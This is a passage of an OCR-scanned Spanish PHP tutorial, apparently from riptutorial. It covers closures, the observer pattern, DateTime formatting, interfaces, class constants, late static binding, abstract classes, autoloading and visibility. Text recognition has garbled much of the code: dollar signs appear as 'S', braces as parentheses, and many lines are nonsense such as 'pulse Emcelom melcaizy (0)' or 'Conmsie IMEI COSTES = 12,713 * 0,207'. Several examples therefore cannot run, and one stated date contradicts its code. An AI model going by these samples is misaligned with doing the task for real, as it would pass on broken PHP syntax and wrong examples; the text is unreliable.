Sdisplayer = $myInstance->getDisplayer (); 


Sdisplayer(); // Shows "Hello world!" 


Encuadernación de un cierre para una llamada. 


Desde PHP7 , es posible vincular un cierre solo para una llamada, gracias al método de «.11 . Por 
ejemplo: 


<?php 


class MyClass 
[ 
private S$property; 


public function __construct ($propertyValue) 


( 


Sthis->property = $propertyValue; 
) 


$myClosure = function() ( 
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echo $this->property; 


SmyInstance = new MyClass('Hello world!'); 


$myClosure->call ($myInstance); // Shows "Hello world!" 


A diferencia del método binaro , no hay que preocuparse por el alcance. El alcance utilizado para 


esta llamada es el mismo que el utilizado para acceder o invocar una propiedad de smyinstance . 


Utilizar cierres para implementar patrón observador. 


En general, un observador es una clase con un método específico que se llama cuando ocurre 


una acción en el objeto observado. En ciertas situaciones, los cierres pueden ser suficientes para 
implementar el patrón de diseño del observador. 


Aquí hay un ejemplo detallado de tal implementación. Primero declaremos una clase cuyo 


propósito es notificar a los observadores cuando se cambia su propiedad. 


<?php 


class ObservedStuff implements SplSubject 


( 


protected S$property; 


protected Sobservers = []l; 


public function attach(SplO0bserver Sobserver) 


$this->observers[] = Sobserver; 
csicura Sunilss 


public function detach (SplO0bserver Sobserver) 


if (false !== $key = array_search(S$observer, 


unset ($this->observers[$key]l); 


pulse Emcelom melcaizy (0) 
( 


foreach ($this->observers as Sfobserver) ( 
Sobserver->update($this); 


public function getProperty() 


return $Sthis->property; 


public function setProperty ($property) 


Sthis->property = $property; 
Sthis->notify(); 
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Sthis->observers, true)) 


( 


12 


Luego, declaremos la clase que representará a los diferentes observadores. 


<?php 


class NamedObserver implements SplObserver 


( 


protected $name; 
protected $closure; 


public function __construct (Closure $closure, $name) 
S$this->closure = $closure->bindTo($this, $this); 
Sthis->name = $name; 


public function update (SplSubject $subject) 


Sclosure = $this->closure; 
Sclosure ($subject); 


Por fin probemos esto: 


<?php 
So = new ObservedStuff; 


Sobserverl = function(SplSubject Ssubject) ( 


echo $this->name, ' has been notified! New property value: ', $subject->getProperty(), 


Da Y a 
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Sobserver2 = function(SplSubject Ssubject) ( 


echo $this->name, ' has been notified! New property value: ', $subject->getProperty(), 
IEA 
y; 
So->attach (new NamedObserver ($observerl, 'Observerl')) 
->attach (new NamedObserver (Sobserver2, 'Observer2')); 


So->setProperty('Hello world!'); 

// Shows: 

// Observerl has been notified! New property value: Hello world! 
// Observer2 has been notified! New property value: Hello world! 


Tenga en cuenta que este ejemplo funciona porque los observadores comparten la misma 


naturaleza (ambos son "observadores nombrados”). 


Lea Cierre en línea: https://riptutorial.com/es/php/ftopic/2634/cierre 
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Capítulo 16: Clase de fecha y hora 


Examples 


getTimestamp 
getTimeStemp es Una representación de unix de un objeto datetime. 


$date = new DateTime(); 
echo $date->getTimestamp (); 


Esto pondrá una indicación de número entero en los segundos que han transcurrido desde las 
00:00:00 UTC del jueves 1 de enero de 1970. 


Establece la fecha 
setDate Establece la fecha en un objeto DateTime. 


$date = new DateTime(); 
Sdate->setDate (2016, 7, 25); 


este ejemplo establece que la fecha será el veinticinco de julio de 2015 y producirá el siguiente 
resultado: 


ASA 14D AE DASS Liz 


Agregar o restar intervalos de fecha 


Podemos usar la clase Datelnterval para agregar o restar algún intervalo en un objeto DateTime. 


Vea el ejemplo a continuación, donde estamos agregando un intervalo de 7 días e imprimiendo un 
mensaje en la pantalla: 


Snow = new DateTime();// empty argument returns the current dat 


Sinterval = new Datelnterval ('P7D');//this objet represents a 7 days interval 
SlastDay = $now->add ($interval); //this will return a DateTime object 
SformatedLastDay = $lastDay->format ('Y-—m-d');//this method format the DateTime object and 


returns a String 


echo "Samara says: Seven Days. You'll be happy on $formatedlLastDay."; 


Esto saldrá (funcionando el 1 de agosto de 2016): 
Samara dice: siete días. Estarás feliz el 2016-08-08. 


Podemos usar el método sub de una manera similar para restar fechas 


Snow->sub (S$interval); 
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echo "Samara says: Seven Days. You were happy last on $formatedlLastDay."; 


Esto saldrá (funcionando el 1 de agosto de 2016): 


Samara dice: siete días. Estuviste feliz el ultimo 2016-07-25. 
Crea DateTime desde un formato personalizado 


PHP es capaz de analizar una serie de formatos de fecha . Si desea analizar un formato no 
estándar, o si desea que su código bateTime::createrromrormar explícitamente el formato que se 
utilizará, puede usar el método estático nbateTime: :createFromFormat ! 


Estilo orientado a objetos 


Seo = WN ma, aus 
Stime = "2009,2,26"; 
$date = DateTime::createFromFormat ($format, $time); 


Estilo procesal 


Secimera = "mea 
time = "2009,2,26"; 
Sdate = date_create_from_format ($format, $time); 


Imprimir DateTimes 


PHP 4+ proporciona un método, formato que convierte un objeto Date Time en una cadena con un 


formato deseado. Según el manual de PHP, esta es la función orientada a objetos: 


public string DateTime:: format ( string $format ) 


La función date () toma un parámetro: un formato, que es una cadena 


Formato 


El formato es una cadena y utiliza caracteres únicos para definir el formato: 


* Y : representación de cuatro dígitos del año (ej .: 2016) 

* y: representación de dos dígitos del año (p. ej .: 16) 

* m: mes, como un número (01 a 12) 

* M: mes, como tres letras (enero, febrero, marzo, etc.) 

* j: día del mes, sin ceros iniciales (1 a 31) 

+ D: día de la semana, como tres letras (lunes, martes, miércoles, etc.) 
* h: hora (formato de 12 horas) (01 a 12) 

* H: hora (formato de 24 horas) (00 a 23) 

* A:yaseaAMoPM 

* ¡: minuto, con ceros iniciales (00 a 59) 
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Ta 


* S: segundo, con ceros iniciales (00 a 59) 
+ La lista completa se puede encontrar aquí. 


Uso 


Estos caracteres se pueden usar en varias combinaciones para mostrar los tiempos en 


prácticamente cualquier formato. Aquí hay unos ejemplos: 


Sdate = new DateTime ('2000-05-26T13:30:20'); /* Friday, 


Sdate->format ("H:i"); 
/* Returns 13:30 */ 


Sdate->format ("H i s"); 
/* Returns 13 30 20 */ 


Sdate->format ("h:i:s A"); 
/* Returns 01:30:20 PM */ 


Sdate->£ormat ("3/m/Y"); 
/* Returns 26/05/2000 */ 


Sdate=>£ormat ("D, M3 'y = h:1 A"); 
/* Returns Fri, May 26 '00 - 01:30 PM */ 


Procesal 


El formato procesal es similar: 
Orientado a objetos 


Sdate->format ($format) 


Equivalente de procedimiento 


date_format ($date, S$format) 


MayEZ20 7 2000 at 130 20 BM 


Cree una versión inmutable de DateTime desde Mutable antes de PHP 5.6 


Para crear iDateTimeImmut able en PHP 5.6+ use: 
WNDateTimeImmutable::createFromMutable ($concrete); 
Antes de PHP 5.6 puedes usar: 


WNDateTimeImmutable::createFromFormat (1DateTime::ISO8601, 
$Smutable->getTimezone ()); 
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Lea Clase de fecha y hora en línea: https://riptutorial.com/es/php/topic/3684/clase-de-fecha-y-hora 
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Capítulo 17: Clases y objetos 


Introducción 


Las clases y los objetos se utilizan para hacer que su código sea más eficiente y menos repetitivo 
al agrupar tareas similares. 


Una clase se usa para definir las acciones y la estructura de datos utilizada para construir objetos. 
Los objetos se construyen utilizando esta estructura predefinida. 


Sintaxis 
* class <ClassName> [ extends <ParentClassName> ] [ implements <Interfacel> [, <Interface2>, 
1 £ +// Declaración de clase 
* interface <InterfaceName> [ extends <ParentInterfacel> [, <ParentInterface2>, ...] ] ( ) 1! 
Declaración de interfaz 
* use <Trait1> [, <Trait2>, ...] ;// Usar rasgos 
* [ public | protected | private ] [ static ] $<varName>; // Declaración de atributo 


* const <CoNST_NAME>; // Declaración constante 


[ public | protected | private ] [ static ] function <methodName>([args...]) [ ) 1 
Declaración de método 


Observaciones 


Clases y componentes de interfaz 


Las clases pueden tener propiedades, constantes y métodos. 


+ Las propiedades mantienen variables en el alcance del objeto. Pueden inicializarse en la 
declaración, pero solo si contienen un valor primitivo. 

+ Las constantes deben inicializarse en la declaración y solo pueden contener un valor 
primitivo. Los valores constantes se fijan en el momento de la compilación y no pueden 
asignarse en el tiempo de ejecución. 

»+ Los métodos deben tener un cuerpo, incluso uno vacío, a menos que el método se declare 
abstracto. 


class Foo ( 


rivas ios = "Eo" // O 
private $baz = array (); // OK 
private $bar = new Bar(); // Error! 


Las interfaces no pueden tener propiedades, pero pueden tener constantes y métodos. 


+ Las constantes de interfaz deben inicializarse en la declaración y solo pueden contener un 
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valor primitivo. Los valores constantes se fijan en el momento de la compilación y no pueden 
asignarse en el tiempo de ejecución. 
+ Los métodos de interfaz no tienen cuerpo. 


interface FooBar ( 
const FOO_VALUE = 'bla'; 
public function doAnythingí(); 


Examples 


Interfaces 


Introducción 


Las interfaces son definiciones de las clases de API públicas que deben implementarse para 
satisfacer la interfaz. Funcionan como "contratos", especificando lo que hace un conjunto de 
subclases, pero no cómo lo hacen. 


La definición de interfaz es muy parecida a la definición de clase, cambiando la c1ass palabra 
clave a interface : 

interface Foo ( 

) 
Las interfaces pueden contener métodos y / o constantes, pero no atributos. Las constantes de 


interfaz tienen las mismas restricciones que las constantes de clase. Los métodos de interfaz son 
implícitamente abstractos: 


interface Foo ( 
const BAR = 'BAR'; 


public function doSomething($paraml, $param2); 


Nota: las interfaces no deben declarar constructores o destructores, ya que estos son detalles de 
implementación en el nivel de clase. 


Realización 


Cualquier clase que necesite implementar una interfaz debe hacerlo usando la palabra clave 
implements . Para hacerlo, la clase debe proporcionar una implementación para cada método 
declarado en la interfaz, respetando la misma firma. 


Una sola clase puede implementar más de una interfaz a la vez. 
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interface Foo ( 
public function doSomething ($paraml, $param2); 


interface Bar ( 
public function doAnotherThing ($paraml); 


class Baz implements Foo, Bar ( 
public function doSomething($paraml, S$param2) ( 
MA 
) 


public function doAnotherThing ($paraml) ( 
AAN 
) 


Cuando las clases abstractas implementan interfaces, no necesitan implementar todos los 
métodos. Cualquier método no implementado en la clase base debe ser implementado por la 
clase concreta que lo extiende: 


abstract class AbstractBaz implements Foo, Bar ( 


// Partial implementation of the required interface... 
public function doSomething($paraml, $param2) ( 

AN 
) 


class Baz extends AbstractBaz ( 
public function doAnotherThing ($paraml) ( 
AUS 
) 


Observe que la realización de la interfaz es una característica heredada. Al extender una clase 
que implementa una interfaz, no es necesario volver a declararla en la clase concreta, porque 
está implícita. 


Nota: Antes de PHP 5.3.9, una clase no podía implementar dos interfaces que 
especificaban un método con el mismo nombre, ya que causaría ambigúedad. Las 
versiones más recientes de PHP lo permiten siempre que los métodos duplicados 
tengan la misma firma [1]. 


Herencia 


Al igual que las clases, es posible establecer una relación de herencia entre interfaces, utilizando 
la misma palabra clave Se extenas . La principal diferencia es que se permite la herencia múltiple 
para las interfaces: 


interface Foo ( 
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interface Bar ( 


interface Baz extends Foo, Bar ( 


Ejemplos 


En el siguiente ejemplo tenemos una interfaz de ejemplo simple para un vehículo. Los vehículos 
pueden ir hacia adelante y hacia atrás. 


interface Vehiclelnterface ( 
public function forward(); 


public function reverse(); 


class Bike implements Vehiclelnterface ( 


public function forward() ( 
$this->pedal (); 
) 


public function reverse() ( 
Sthis->backwardSteps (); 

) 

protected function pedal () ( 

) 


protected function backwardSteps () ( 


) 


class Car implements Vehiclelnterface ( 
protected $gear = 'N'; 


public function forward() ( 
Sthis->setGear (1); 
Sthis->pushPedal (); 


public function reverse() ( 
Sthis->setGear('R'); 
Sthis->pushPedal (); 

) 


protected function setGear ($gear) ( 
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Sthis->gear = $gear; 


) 


protected function pushPedal () ( 


) 


Luego creamos dos clases que implementan la interfaz: Bicicleta y Coche. Bicicletas y 
automóviles internamente son muy diferentes, pero ambos son vehículos, y deben implementar 
los mismos métodos públicos que proporciona Vehiclelnterface. 


La tipografía permite que los métodos y funciones soliciten interfaces. Supongamos que tenemos 
una clase de estacionamiento, que contiene vehículos de todo tipo. 


class ParkingGarage ( 
protected $vehicles = []l; 


public function addVehicle (Vehiclelnterface $vehicle) ( 
$this->vehicles[] = $vehicle; 


) 


Debido a que adavehicle requiere Un s$venicle del tipo vehiclernterface NO Una implementación 
concreta, podemos ingresar Bicicletas y Autos, que el ParkingGarage puede manipular y usar. 


Constantes de clase 


Las constantes de clase proporcionan un mecanismo para mantener valores fijos en un programa. 
Es decir, proporcionan una forma de asignar un nombre (y una comprobación de tiempo de 
compilación asociada) a un valor como 3.14 O "Apple" . Las constantes de clase solo se pueden 
definir con la palabra clave const : la función de definir no se puede usar en este contexto. 


Como ejemplo, puede ser conveniente tener una representación abreviada del valor de n en todo 
el programa. Una clase con valores const proporciona una forma sencilla de mantener dichos 
valores. 


class MathValues ( 
comes 21. = ML J21) 
const PHI = 1.61803; 
) 


Sarea = MathValues::P1 * $radius * S$radius; 


Se puede acceder a las constantes de clase utilizando el operador de dos puntos dobles 
(denominado operador de resolución de alcance) en una clase, al igual que las variables 
estáticas. Sin embargo, a diferencia de las variables estáticas, las constantes de clase tienen sus 
valores fijos en el momento de la compilación y no se pueden reasignar a (por ejemplo, 
MathValues::P1 = 7 produciría un error fatal). 
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Las constantes de clase también son útiles para definir cosas internas de una clase que pueden 
necesitar cambiar más adelante (pero no cambian con la frecuencia suficiente para justificar el 
almacenamiento en, por ejemplo, una base de datos). Podemos hacer referencia a esto 
internamente utilizando el resolutor de alcance ses (que funciona tanto en implementaciones 
estáticas como en instancias) 


class Labor ( 
y Ss oy loja, ¿a Jnowizs, Clos de ieelds O lolo! idas dire 
const LABOR_UNITS = 0.26; 
/** How much are we paying employees per hour? */ 
const LABOR_COST = 12.75; 


public function getlLaborCost ($number_units) ( 
return (self: :LABOR_UNITS * self::LABOR_COST) * $number_units; 


) 


Las constantes de clase solo pueden contener valores escalares en versiones <5.6 


A partir de PHP 5.6 podemos usar expresiones con constantes, lo que significa que las 
declaraciones matemáticas y las cadenas con concatenación son constantes aceptables 


class Labor ( 
/** How much are we paying employees per hour? Hourly wages * hours taken to make */ 
Conmsie IMEI COSTES = 12,713 * 0,207 
public function getlLaborCost ($number_units) ( 
return self::LABOR_COSTS * $number_units; 
) 


A partir de PHP 7.0, las constantes declaradas con define ahora pueden contener matrices. 
define("BAZ", array('baz')); 


Las constantes de clase son útiles para algo más que almacenar conceptos matemáticos. Por 
ejemplo, si prepara una tarta, puede ser conveniente tener una clase de Pie capaz de tomar 
diferentes tipos de fruta. 


class Pie ( 
protesta! Siervo, 


¡pulga Function —comstiucoe (irme) Al 
Sthiis=>fruit = $fruit;, 
) 


Entonces podemos usar la clase pie como tal 
Spie = new Pie("strawberry"); 


El problema que surge aquí es que, al crear una instancia de la clase pie , no se proporciona una 
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guía sobre los valores aceptables. Por ejemplo, al hacer una tarta "boysenberry", podría escribirse 
incorrectamente "boisenberry". Además, podríamos no apoyar una tarta de ciruela. En su lugar, 
sería útil tener una lista de tipos de frutas aceptables ya definidas en algún lugar en el que tendría 
sentido buscarlas. Di una clase llamada rruit : 


class Fruit ( 


const APPLE = "apple"; 
const STRAWBERRY = "strawberry"; 
const BOYSENBERRY = "boysenberry"; 


) 


$pie = new Pie(Fruit::STRAWBERRY); 


Enumerar los valores aceptables como constantes de clase proporciona una sugerencia valiosa 
sobre los valores aceptables que acepta un método. También asegura que las faltas de ortografía 
no puedan superar el compilador. Si bien la new Pie('aple') Y la new Pie('apple') SON aceptables 
para el compilador, la new Pie (Fruit: :APLE) producirá un error de compilación. 


Finalmente, el uso de constantes de clase significa que el valor real de la constante puede 
modificarse en un solo lugar, y cualquier código que use la constante tiene automáticamente los 
efectos de la modificación. 


Si bien el método más común para acceder a una constante de clase es myclass: : CONSTANT_NAME , 
también se puede acceder a él mediante: 


echo MyClass: : CONSTANT; 


Sclassname = "MyClass"; 
echo S$classname: : CONSTANT; // As of PHP 5.3.0 


Las constantes de clase en PHP se denominan convencionalmente todas en mayúsculas con 
guiones bajos como separadores de palabras, aunque cualquier nombre de etiqueta válido se 
puede usar como un nombre de constante de clase. 


A partir de PHP 7.1, las constantes de clase ahora se pueden definir con visibilidades diferentes 
del alcance público predeterminado. Esto significa que tanto las constantes protegidas como las 
privadas pueden definirse ahora para evitar que las constantes de clase se filtren 
innecesariamente en el ámbito público (consulte Método y visibilidad de la propiedad ). Por 
ejemplo: 


class Something ( 
const PUBLIC_CONST_A = 1; 
public const PUBLIC_CONST_B = 2; 
protected const PROTECTED_CONST = 3; 
private const PRIVATE_CONST = 4; 


definir constantes de clase vs 
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Aunque esta es una construcción válida: 


ice loma losus (0) [mejia 29 19 


define('BAR', bar()); 


Si intentas hacer lo mismo con las constantes de clase, obtendrás un error: 


Funcicilom logie () ([ feeuisa 29 9 


class Foo ( 


const BAR = bar(); // Error: Constant expression contains invalid operations 


Pero puedes hacer: 


Fusco logue ()) ( Eeecuisn 29 19 
define('BAR', bar()); 


class Foo ( 
const BAR = BAR; // OK 


Para más información, ver constantes en el manual . 


Usando :: class para recuperar el nombre de 
la clase 


PHP 5.5 introdujo la : :c1ass sintaxis de ::class para recuperar el nombre completo de la clase, 
teniendo en cuenta el alcance del espacio de nombres y las declaraciones de use . 


namespace foo; 

use barYBar; 

O NONE 
A EE CONNE OO 
) a Pan "Foo" 


echo jJson_encode (Bar: :class) 
echo json_encode (Foo: :class) 
echo json_encode (Foo: :class 


Lo anterior funciona incluso si las clases ni siquiera están definidas (es decir, este fragmento de 
código funciona solo). 


Esta sintaxis es útil para funciones que requieren un nombre de clase. Por ejemplo, se puede 
usar COn class_exists para verificar que una clase existe. No se generarán errores, 
independientemente del valor de retorno en este fragmento: 


class_exists(ThisClassWWilllNeverBelLoaded::class, false); 


Enlace estático tardío 
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En PHP 5.3 y versiones posteriores, puede utilizar el enlace estático tardío para controlar desde 
qué clase de clase de propiedad o método se llama. Se agregó para superar el problema 
inherente con el resolutor se1s:: scope. Toma el siguiente código 


class Horse ( 
public static function whatToSay() ( 
echo 'Neigh!'; 
) 


¡aulsllile Siecicalo tacon speals (0) 1 
self: :whatToSay(); 
) 


class MrEd extends Horse ( 
public static function whatToSay() ( 
echo 'Hello Wilbur!'; 
) 


Usted esperaría que la clase mrea anule la función principal what rosay () . Pero cuando corremos 
esto obtenemos algo inesperado. 


Horse: :speak(); // Neigh! 
MrEd::speak(); // Neigh! 


El problema es que self: :whatTosSay (); SOlo puede referirse a la clase rorse , lo que significa que 
no obedece a urea . Si cambiamos al resolutor static: : scope, no tenemos este problema. Este 
nuevo método le dice a la clase que obedezca la instancia que lo llama. Así obtenemos la 
herencia que estamos esperando. 


class Horse ( 
public static function whatToSay() ( 
echo 'Neigh!'; 
) 


publEteestatieta une tones peli 
static: :whatToSay(); // Late Static Binding 
) 
) 
Horse: :speak(); // Neigh! 
MrEd: :speak(); // Hello Wilbur! 


Clases abstractas 


Una clase abstracta es una clase que no puede ser instanciada. Las clases abstractas pueden 
definir métodos abstractos, que son métodos sin cuerpo, solo una definición: 


abstract class MyAbstractClass ( 
abstract public function doSomething($a, $b); 
) 
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Las clases abstractas deben extenderse por una clase secundaria que luego puede proporcionar 
la implementación de estos métodos abstractos. 


El propósito principal de una clase como esta es proporcionar un tipo de plantilla que permita a 
las clases de niños heredar, "forzando" una estructura a adherirse. Vamos a elaborar sobre esto 
con un ejemplo: 


En este ejemplo estaremos implementando una interfaz worker . Primero definimos la interfaz: 


interface Worker ( 
¡usas Eunmciltoja ua (0) 9 


Para facilitar el desarrollo de futuras implementaciones de Worker, crearemos una clase de 
trabajo abstracta que ya proporciona el método run () desde la interfaz, pero especifica algunos 
métodos abstractos que deben ser completados por cualquier clase secundaria: 


abstract class AbstractWorker implements Worker ( 
protected $pdo; 
protected $logger; 


public function __construct(PDO $pdo, Logger $logger) ( 
Sthis->pdo = $pdo; 
Sthis->logger = $logger; 


¡aulslils Enmerloja ua (0) 

IGES7 dl 
Sthis->setMemoryLimit ($this->getMemoryLimit ()); 
this->logger->log("Preparing main"); 


$ 
Sthis->prepareMain (); 
$this->logger->log("Executing main"); 

Sthis->main(); 

) catch (Throwable $e) ( 

// Catch and rethrow all errors so they can be logged by the worker 


Sthis->logger->log ("Worker failed with exception: ($e->getMessage ())"); 


throw $e; 


) 

private function setMemoryLimit ($memoryLimit) ( 
ini_set('memory_limit', $memoryLimit); 
$this->logger->log("Set memory limit to $memoryLimit"); 

abstract protected function getMemoryLimit (); 


abstract protected function prepareMain(); 


abstract protected function main (); 


En primer lugar, hemos proporcionado un método abstracto getMemoryLimit () . Cualquier clase 
que se extienda desde abstractiworker debe proporcionar este método y devolver su límite de 
memoria. El apstractworker luego establece el límite de memoria y lo registra. 
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En segundo lugar, abstractworker llama a lOS prepareMain() Y main() , después de registrar que se 
han llamado. 


Finalmente, todas estas llamadas de método se han agrupado en un bloque try - catch . 
Entonces, si alguno de los métodos abstractos definidos por la clase secundaria produce una 
excepción, capturaremos esa excepción, la registraremos y la volveremos a realizar. Esto evita 
que todas las clases secundarias tengan que implementar esto ellos mismos. 


Ahora definamos una clase secundaria que se extiende desde abstractiorker : 


class TranscactionProcessorWorker extends AbstractWorker ( 
private $transactions; 


protected function getMemoryLimit() ( 
secuaa "SLAYWS 


) 


protected function prepareMain() ( 
Sstmt = $this->pdo->query ("SELECT * FROM transactions WHERE processed = 0 LIMIT 500"); 
Sstmt->execute (); 
Sthis->transactions = $stmt->fetchAll/(); 


protected function main() ( 
foreach ($this->transactions as $transaction) (Í 
// Could throw some PDO or MYSQL exception, but that is handled by the 
AbstractWorker 
Sstmt $this->pdo->query ("UPDATE transactions SET processed = 1 WHERE id 
(Stsemsaculon let] ii 10) e 
Sstmt->execute (); 


Como puede ver, TransactionProcessorwWorker fue bastante fácil de implementar, ya que solo 
teníamos que especificar el límite de memoria y preocuparnos por las acciones reales que debía 
realizar. No se necesita ningún manejo de errores en el transactionProcessorWorker porque eso se 
maneja en el abpsractiorker . 


Nota IMPORTANTE 


Cuando se hereda de una clase abstracta, todos los métodos marcados como 
abstractos en la declaración de la clase del padre deben ser definidos por el hijo (o el 
propio niño también debe estar marcado como abstracto); Además, estos métodos 
deben definirse con la misma visibilidad (o una menos restringida). Por ejemplo, si el 
método abstracto se define como protegido, la implementación de la función debe 
definirse como protegida o pública, pero no privada. 


Tomado de la documentación de PHP para la abstracción de clase . 


Si no define los métodos de clases abstractas primarias dentro de la clase secundaria, se le 
lanzará un Error Fatal de PHP como el siguiente. 
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Error grave: la Clase X contiene 1 método abstracto y, por lo tanto, debe declararse 
abstracto o implementar los métodos restantes (X :: x) en 


Separación de nombres y carga automática 


Técnicamente, la carga automática funciona ejecutando una devolución de llamada cuando se 
requiere una clase de PHP pero no se encuentra. Tales devoluciones de llamada generalmente 
intentan cargar estas clases. 


En general, la carga automática puede entenderse como el intento de cargar archivos PHP 
(especialmente archivos de clase PHP, donde un archivo fuente PHP está dedicado para una 
clase específica) desde rutas apropiadas de acuerdo con el nombre completo de la clase (FQN) 
cuando se necesita una clase . 


Supongamos que tenemos estas clases: 


Archivo de clase para applicationicontrollersiBase : 


<?php 
namespace applicationicontrollers (í class Base [...) ) 


Archivo de clase para application1controllersYControl : 


<?php 
namespace applicationicontrollers (í class Control ([(...) ) 


Archivo de clase para applicationimodelsYPage : 


<?php 
namespace applicationimodels (í class Page ([(...) ) 


Bajo la carpeta de origen, estas clases deben colocarse en las rutas como sus FQN 
respectivamente: 


+ Carpeta de origen 
applications 
controllers 
o Base.php 
> Control.php 


> models 
o Page.php 


Este enfoque hace posible resolver mediante programación la ruta del archivo de clase de 
acuerdo con el FQN, utilizando esta función: 


function getClassPath(string $sourceFolder, string $className, string $extension = ".php") ( 
reucuida SeommzccnoJlds: y 1/1 y Su maslaco (NA, 1/0, Selassie) . Peoscansilcmo // More ielelsie 
"/" works as a directory separator even on Windows 


) 
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La función sp1_autoload_register NOS permite cargar una clase cuando sea necesario utilizando 


una función definida por el usuario: 


const SOURCE_FOLDE 
spl1l_autoload_register (function 
Sfile = getClassPath (SOURC 
if (is_readable($file)) 
»; 


WAS 


(string $className) ( 
E_FOLDER, 
require_onc 


SclassName); 
Sita leo 


Esta función se puede ampliar aún más para utilizar métodos de carga alternativos: 


const SOURCE_FOLDE PES 
spl_autoload_register (function (string $className) ( 
foreach(SOURCE_FOLDERS as S$folder) ( 
Sextensions = [ 


Wise, 


// do we have src/Foo/Bar.php5_int64? 
Pap IAB OMA OR VERSIONS 
// do we have src/Foo/Bar.php7? 
"php" . PHP_MAJOR_VERSION, 

// do we 


"int" 


have src/Foo/Bar.php_int64? 
"int" (PHP_INT_SIZE * 8), 
have src/Foo/Bar.phps? 


have src/Foo/Bar.php? 


1; 

foreach($fextensions as $ext) ( 
Spath = getClassPath ($folder, 
if(is_readable ($path)) 


SclassName, 
return $path; 


DH; 


(PHP_INT_SIZE * 


1/mode/seeWI)— 


Sextension); 


Tenga en cuenta que PHP no intenta cargar las clases siempre que se carga un archivo que 
utiliza esta clase. Puede cargarse en medio de un script, o incluso en funciones de apagado. Esta 
es una de las razones por las que los desarrolladores, especialmente aquellos que usan la carga 

automática, deben evitar reemplazar los archivos de origen en ejecución, especialmente en 


archivos phar. 


Vinculación dinámica 


El enlace dinámico, también conocido como invalidación de método, es un ejemplo de 
polimorfismo de tiempo de ejecución que se produce cuando varias clases contienen 
implementaciones diferentes del mismo método, pero el objeto sobre el que se llamará el método 


es desconocido hasta el tiempo de ejecución . 


Esto es útil si una determinada condición dicta qué clase se utilizará para realizar una acción, 


donde la acción se denomina igual en ambas clases. 


interface Animal ( 
public function makeNoise(); 
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class Cat implements Animal ( 
public function makeNoise 
( 


Sthis->meow (); 


class Dog implements Animal ( 
public function makeNoise ( 
Sthis->bark(); 
) 


class Person ( 
COBStT CAT = TCstts 
const DOG = 'dog'; 


private $petPreference; 


private $pet; 


public function isCatlover (): bool ( 

return $this->petPreference == self::CAT; 
) 
¡amis Fuimerloa isnociower (0) 2 Jal 

return $this->petPreference == self: :DOG; 


) 


public function setPet (Animal $pet) ( 
Sthis->pet = $pet; 
) 


public function getPet (): Animal ( 
return $this->pet; 
) 
) 


1f (S$person->isCatLover ()) ( 
Sperson->setPet (new Cat ()); 

) else if ($person->isDoglLover ()) ( 
Sperson->setPet (new Dog()); 


) 


Sperson->getPet ()->makeNoise () ; 


En el ejemplo anterior, la clase animal ( Dog|¡cat ) QUe Creará makenoise Se desconoce hasta el 
tiempo de ejecución, según la propiedad dentro de la clase user . 


Método y visibilidad de la propiedad 
Hay tres tipos de visibilidad que puede aplicar a los métodos ( funciones de clase / objeto ) y 
propiedades ( variables de clase / objeto ) dentro de una clase, que proporcionan control de 


acceso para el método o la propiedad a la que se aplican. 


Puede leer extensamente sobre esto en la Documentación de PHP para Visibilidad OOP . 
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Público 


La declaración de un método o una propiedad como pub1ic permite que se acceda al método o la 
propiedad mediante: 


+ La clase que lo declaró. 
+ Las clases que extienden la clase declarada. 
+ Cualquier objeto externo, clases o código fuera de la jerarquía de clases. 


Un ejemplo de este acceso public sería: 


class MyClass ( 
// Property 
public $myProperty = 'test'; 


// Method 
public function myMethod () ( 
return $this->myProperty; 
) 
) 


Sobj = new MyClass(); 
echo S$obj->myMethod (); 
// Out: test 


echo S$obJj->myProperty; 
U Des TSse 


Protegido 


La declaración de un método o una propiedad como protectea permite que se pueda acceder al 
método o la propiedad mediante: 


+ La clase que lo declaró. 
+ Las clases que extienden la clase declarada. 


Esto no permite que los objetos, clases o códigos externos fuera de la jerarquía de clases 
accedan a estos métodos o propiedades. Si algo que utiliza este método / propiedad no tiene 
acceso a él, no estará disponible y se generará un error. Sólo las instancias del yo declarado (o 
subclases del mismo) tienen acceso a él. 


Un ejemplo de este acceso protected sería: 


class MyClass ( 
protected $myProperty = 'test'; 


protected function myMethod() ( 


return $this->myProperty; 


) 
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class MySubClass extends MyClass ( 
pmolile Eumertoa cual) 
echo $this->myMethod l(); 
) 
) 


Sobj = new MySubClass(); 
Sobj->run(); // This will call MyClass: :myMethod () ; 
// Out: test 


Soby=>myMethod()5 // This will Ea 
// Out: Fatal error: Call to protected method MyClass::myMethod () from context '' 


El ejemplo anterior señala que solo puede acceder a los elementos protected dentro de su propio ámbito. 
Esencialmente: "Lo que hay en la casa solo se puede acceder desde dentro de la casa". 


Privado 


La declaración de un método o una propiedad como private permite que se acceda al método o la 
propiedad mediante: 


+ La clase que lo declaró Only (no subclases). 
Un método o propiedad private solo es visible y accesible dentro de la clase que lo creó. 


Tenga en cuenta que los objetos del mismo tipo tendrán acceso a los demás miembros privados y 
protegidos, aunque no sean las mismas instancias. 


class MyClass ( 
private $myProperty = 'test'; 


private function myPrivateMethod() ( 
return $this->myProperty; 


) 


public function myPublicMethod() ( 
return Sthis->myPrivateMethodl(); 
) 


public function modifyPrivatePropertyo0f (MyClass S$anotherInstance) ( 
SanotherInstance->myProperty = "new value"; 


) 


class MySubClass extends MyClass ( 
¡molle Ewacrelom sua) 
echo $this->myPublicMethod (); 
) 


public function runWithPrivate() ( 
echo $this->myPrivateMethod(); 
) 
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Sobj = new MySubClass(); 
$new0bj] = new MySubClass (); 


// This will call MyClass::myPublicMethod(), which will then call 
// MyClass::myPrivateMethod (); 

Sobj->run(); 

Il as Est 


Sobj->modifyPrivatePropertyo0f ($new0b3); 


$newO0b3->run (); 
// Out: new value 


echo $obj->myPrivateMethod(); // This will fail. 
// Out: Fatal error: Call to private method MyClass::myPrivateMethod() from context '' 


echo S$obj->runWithPrivate(); // This will also fail. 
// Out: Fatal error: Call to private method MyClass::myPrivateMethod() from context 
'MySubClass' 


Como se indicó, solo puede acceder al método / propiedad private desde su clase definida. 


Llamar a un constructor padre al crear una instancia de un hijo 
Un error común de las clases secundarias es que, si su padre y su hijo contienen un método 
constructor (__construct () ), Solo se ejecutará el constructor de la clase secundaria . Puede 


haber ocasiones en las que necesite ejecutar el _ construct () padre _ construet () desde su hijo. 
Si necesita hacer eso, entonces deberá usar el resolutor paren: :: SCOPe: 


¡pELsaie a 3. ¡comica (1) y 
Ahora aprovechar que en una situación del mundo real se vería algo así como: 


class Foo ( 


function __construct ($args) ( 
echo 'parent'; 


) 


class Bar extends Foo ( 


function __construct ($args) ( 
Paren tea On seu ens aos) 


) 


Lo anterior ejecutará el elemento principal __ construct () Y €l echo Se ejecutará. 


